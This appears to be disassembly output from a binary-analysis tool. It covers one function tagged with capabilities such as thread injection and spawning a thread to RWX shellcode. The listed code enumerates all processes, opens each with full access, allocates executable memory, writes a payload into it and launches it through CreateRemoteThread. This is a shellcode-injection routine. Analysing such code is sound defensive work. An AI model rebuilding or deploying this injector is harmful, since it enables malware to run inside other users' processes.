Function at 0x140002b7c
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x2f0
lea rcx, [rsp + 0x40]
call fcn.140001968
mov qword [rsp + 0x88], rax
lea rdx, [0x1400043c0]
lea rcx, [rsp + 0xa0]
call fcn.140001c90
mov qword [rsp + 0x90], rax
lea rdx, [0x1400043c0]
lea rcx, [rsp + 0xa8]
call fcn.140001c10
mov rcx, qword [rsp + 0x88]
mov r9, rcx
mov rcx, qword [rsp + 0x90]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x70]
call fcn.14000102c
nop
lea rcx, [rsp + 0x70]
call fcn.1400028d8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140002c4c
lea rdx, str.Failed_to_create_process_snapshot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010d0
lea rdx, [0x140001cb8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x70]
call fcn.1400022c0
mov eax, dword [rsp + 0x60]
jmp 0x140002e19
mov dword [rsp + 0xb0], 0x238
lea rax, [rsp + 0xb4]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140002df8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0xb8], eax
je 0x140002dde
mov r8d, dword [rsp + 0xb8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140002dde
lea rcx, [rsp + 0x70]
call fcn.140002b18
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002dd1
lea rcx, [rsp + 0x70]
call fcn.140002b18
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x70]
call fcn.140002894
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x98]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002db8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140002db8
lea rdx, str.Shellcode_injected_and_executed_in_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001450
mov edx, dword [rsp + 0xb8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001d08]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002df8
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002c85
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0x70]
call fcn.1400022c0
mov eax, dword [rsp + 0x64]
add rsp, 0x2f0
pop rdi
ret